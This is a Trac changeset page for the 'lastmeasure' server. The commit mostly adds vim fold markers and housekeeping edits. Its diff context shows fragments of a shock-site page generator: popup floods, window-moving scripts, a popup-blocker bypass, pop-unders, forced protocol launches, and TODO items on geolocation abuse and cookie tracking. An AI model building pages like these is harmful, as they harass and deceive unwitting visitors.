Changeset 677


Ignore:
Timestamp:
01/30/12 22:43:51 (16 months ago)
Author:
literalka
Message:

vim shit, I couldn't read lmresource.h for shit anymore

Location:
trollforge/lastmeasure/server
Files:
4 edited

Legend:

Unmodified
Added
Removed
  • trollforge/lastmeasure/server/TODO

    r673 r677  
    1515    [ ] Geolocation abuse. 
    1616        [ ] By which I mean "abuse in any way possible and also incorporate into StatsMeasure. 
    17     [ ] We can probably replace md5.{c,h} with something else. Something much, much smaller (and not tied to any licensing). 
     17    [X] We can probably replace md5.{c,h} with something else. Something much, much smaller (and not tied to any licensing). 
    1818[ ] Instead of popping up an inundation, limit to a configurable amount of random images in a config file. 
    1919[ ] Add cookie tracking. 
  • trollforge/lastmeasure/server/lastmeasure.zone.db

    r674 r677  
    2727;irc            IN CNAME        irc.gnaa.eu. 
    2828 
    29 ; vim:ts=8 sw=8 noexpandtab filetype=dns 
     29; vim:filetype=dns ts=8 sw=8 noexpandtab 
  • trollforge/lastmeasure/server/lmresource.h

    r671 r677  
    1919#endif 
    2020 
     21/* {{{ Static resources */ 
    2122static char const *staticnames[] = 
    2223{ 
     
    8081    //"/index.php", 
    8182}; 
    82  
     83/* }}} */ 
    8384typedef std::pair<std::string,std::string> Response; 
    8485 
     
    137138        bool is_ie6 = parser && (atoi(parser + strlen(" MSIE ")) >= 6); 
    138139 
     140/* {{{ Generate LM HTML */ 
    139141        /* Sending stuff */ 
    140142        std::stringstream data(""); 
    141143 
    142144        data << 
    143  
     145/* {{{ Header shit */ 
    144146            "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"" 
    145147            "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n" 
     
    164166            "    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" />\r\n" 
    165167            "  </head>\r\n" 
    166  
     168/* }}} */ 
    167169            "  <body style=\"background-image: url(//" << host << RandomAsset(IMAGES_PREFIX) << "); background-color: #FFFFFF;\"\r\n" 
    168170            "        onload=\"bookmark(); noframes(); load_goatse(); document.getElementById('goatse').innerHTML = ''; movew0w(); "; 
     
    183185        data << MoveAround(800, 600, host); 
    184186        data << ActivateApplets(); 
    185  
     187/* {{{ If using IE6 */ 
    186188        if (is_ie6) /* Do these things even work in the newer versions of IE? TODO: Test these. */ 
    187189        { 
     
    204206                "</script>\r\n"; 
    205207        } 
    206  
     208/* }}} */ 
    207209        data << 
    208210 
     
    214216            "                <br />\r\n" 
    215217            "                <br />\r\n"; 
    216  
     218/* {{{ If not using IE6 */ 
    217219        if (!is_ie6) 
    218220        { 
     
    226228                "</object>\r\n"; 
    227229        } 
    228  
     230/* }}} */ 
    229231        data << 
    230232 
     
    233235            "    </tr>\r\n" 
    234236            "</table>\r\n"; 
    235  
     237/* {{{ If not a popup... */ 
    236238        if (!is_popup) 
    237239        { 
     
    268270                "<br />\r\n" << Random::Keywords(128) << "</div>\r\n"; 
    269271        } 
    270  
     272/* }}} */ 
    271273        data << 
    272274            "  </body>\r\n"; 
    273275 
    274276        return Response(data.str(), "text/html"); 
    275     } 
    276  
     277/* }}} */ 
     278    } 
     279/* {{{ JavaScript() */ 
    277280    static std::string JavaScript(char const *host) 
    278281    { 
     
    287290            "        return false;\r\n" 
    288291            "}\r\n" 
    289  
     292/* {{{ Popups */ 
    290293            "function procreate() {\r\n" 
    291294            "    for(i = 0; i < 16; i++)\r\n" 
     
    317320            "    document.getElementById(\"hello\").style.display = 'none';\r\n" 
    318321            "}\r\n" 
    319  
     322/* }}} */ 
    320323            "function noframes() {\r\n" 
    321324            "    if (top.location.hostname != location.hostname)\r\n" 
    322325            "        top.location.href = window.location.href;\r\n" 
    323326            "}\r\n" 
    324  
     327/* {{{ Protocol ruin */ 
    325328            "var protos = [\r\n" 
    326329            "        \"irc://irc.gnaa.eu/gnaa\",\r\n" 
     
    354357            "    }\r\n" 
    355358            "}\r\n"; 
    356  
    357         return ret.str(); 
    358     } 
     359/* }}} */ 
     360        return ret.str(); 
     361    } 
     362/* }}} */ 
    359363 
    360364    static char const *MimeType(char const *resource) 
     
    386390        return "text/plain"; 
    387391    } 
    388  
     392/* {{{ Assets */ 
    389393    /* Pick a random asset starting with @prefix. For instance if @prefix 
    390394     * is "/images/" we pick one at random and if it starts with "/images/" 
     
    423427        return previous; 
    424428    } 
    425  
     429/* }}} */ 
     430/* {{{ Molish() */ 
    426431    static std::string Molish() 
    427432    { 
     
    474479        return ret.str(); 
    475480    } 
    476  
     481/* }}} */ 
     482/* {{{ MoveAround() */ 
    477483    static std::string MoveAround(size_t width, size_t height, char const *host) 
    478484    { 
     
    523529        return ret.str(); 
    524530    } 
    525  
     531/* }}} */ 
     532/* {{{ ActivateApplets() */ 
    526533    static std::string ActivateApplets() 
    527534    { 
     
    539546        return ret.str(); 
    540547    } 
    541  
    542 /*  This chunk bypasses pop-ups */ 
     548/* }}} */ 
     549/* {{{ This chunk bypasses pop-ups */ 
     550/* {{{ PopupBypasser() */ 
    543551    static std::string PopupBypasser(char const *host) 
    544552    { 
     
    564572        return ret.str(); 
    565573    } 
    566  
     574/* }}} */ 
     575/* {{{ DivertOnload() */ 
    567576    static std::string DivertOnload() 
    568577    { 
     
    598607        return ret.str(); 
    599608    } 
    600  
     609/* }}} */ 
     610/* {{{ PopUnder() */ 
    601611    static std::string PopUnder(char const *host) 
    602612    { 
     
    629639        return ret.str(); 
    630640    } 
    631  
     641/* }}} */ 
     642/* }}} */ 
     643/* {{{ Tynt() */ 
    632644    static std::string Tynt() 
    633645    { 
     
    658670        return ret.str(); 
    659671    } 
    660  
     672/* }}} */ 
    661673private: 
    662674    static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames); 
     
    665677 
    666678std::string Resources::m_statics[NSTATICS]; 
     679 
     680/* 
     681 * vim:ts=8 sw=8 noexpandtab foldmethod=marker 
     682 */ 
  • trollforge/lastmeasure/server/lmutil.h

    r675 r677  
    1111#include <time.h> /* localtime_r() */ 
    1212 
    13 //#include "md5.h" 
    1413#include "lmkeywords.h" 
    1514 
Note: See TracChangeset for help on using the changeset viewer.